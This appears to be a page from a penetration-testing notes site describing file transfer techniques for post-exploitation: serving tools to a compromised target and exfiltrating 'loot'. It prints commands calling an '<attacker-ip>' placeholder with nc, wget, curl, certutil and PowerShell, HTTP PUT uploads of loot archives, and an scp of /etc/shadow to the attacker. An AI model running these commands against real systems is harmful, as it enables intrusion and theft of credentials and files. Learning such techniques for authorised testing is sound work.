> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/file-transfer-method.md).

# File Transfer Method

File transfer is a crucial step during privilege escalation and post-exploitation. You often need to:

* Transfer **enumeration scripts**, **payloads**, or **exploits** to the **target**.
* Exfiltrate **loot**, **hashes**, or **sensitive files** from the **target**.

{% hint style="success" %}
🧠 **Tip:** Prefer setting up the **server on the attacker machine** and initiating **downloads from the target**.

This avoids inbound firewall restrictions and avoids needing elevated privileges on the compromised system.
{% endhint %}

{% hint style="warning" %}
All these methods can be **reversed**, i.e., run the server on the **target** if needed — but this usually requires more permissions and open ports, which are not always available.
{% endhint %}

***

## Attacker to Target (Send Tools to Victim)

The attacker runs a server, and the target fetches the file using one of the following client methods.

### **HTTP Server**

**Python 3**

```bash
python3 -m http.server 8000
```

**Python 2**

```bash
python -m SimpleHTTPServer 8000
```

**PHP**

```bash
php -S 0.0.0.0:8000
```

**Ruby**

```bash
ruby -run -e httpd . -p 8000
```

### **HTTPS Server**

> Useful when secure connections (TLS) are required, or `wget`/`curl` refuses HTTP.

📎 [HTTPS Server Setup →](/infosec-notes/internal-and-external-network-sec/privilege-escalation/file-transfer-method/https-server.md)

### **FTP Server**

> FTP offers simple file browsing and authentication.

📎 [FTP Server Setup →](/infosec-notes/internal-and-external-network-sec/privilege-escalation/file-transfer-method/ftp-server.md)

### **SMB Server**

> Especially useful for transferring `.exe`, `.dll`, or other files to **Windows targets**.

📎 [SMB Server Setup →](/infosec-notes/internal-and-external-network-sec/privilege-escalation/file-transfer-method/smb-server.md)

### **Netcat (File Transfer)**

From attacker (server):

```bash
nc -lvp 4444 < tool.exe
```

From target (client):

```bash
nc <attacker-ip> 4444 > tool.exe
```

### **SSH (If Access Available)**

Push file from attacker to target:

```bash
scp tool.sh user@target:/tmp/
```

***

### Target-Side (Client Commands)

Use these from **inside the target** to download files:

* `wget`

  ```bash
  wget http://<attacker-ip>:8000/file.sh
  ```
* `curl`

  ```bash
  curl -O http://<attacker-ip>:8000/file.sh
  ```
* `nc`

  ```bash
  nc <attacker-ip> 4444 > file.txt
  ```

***

## Target to Attacker (Exfiltrate Loot)

When stealing files, you run the **server on the attacker** and initiate **upload or send** from the **target**.

### **HTTP PUT Upload**

Host a PUT server on the attacker:

📎 [PUT Server Setup →](/infosec-notes/internal-and-external-network-sec/privilege-escalation/file-transfer-method/http-put-server.md)

**From target:**

```bash
wget --method=PUT --body-file=loot.zip http://<attacker-ip>/loot.zip
```

Or:

```bash
curl -X PUT --upload-file loot.zip http://<attacker-ip>/loot.zip
```

***

### **Netcat (Reverse File Transfer)**

From target:

```bash
nc <attacker-ip> 4444 < loot.txt
```

From attacker (server):

```bash
nc -lvp 4444 > loot.txt
```

***

### **SSH / SCP (If Target Has SSH Access to Attacker)**

From target to attacker:

```bash
scp /etc/shadow attacker@<attacker-ip>:~/loot/
```

## **Windows-Based Clients**

> These tools are **built-in** or commonly available on Windows targets.&#x20;

&#x20;**`certutil.exe` (Built-in)**

```bash
certutil -urlcache -split -f http://<attacker-ip>/file.exe file.exe
```

***

**PowerShell - Invoke-WebRequest (**&#x44;ownloads via PowerShell)

```powershell
Invoke-WebRequest -Uri "http://<attacker-ip>/file.exe" -OutFile "file.exe"
```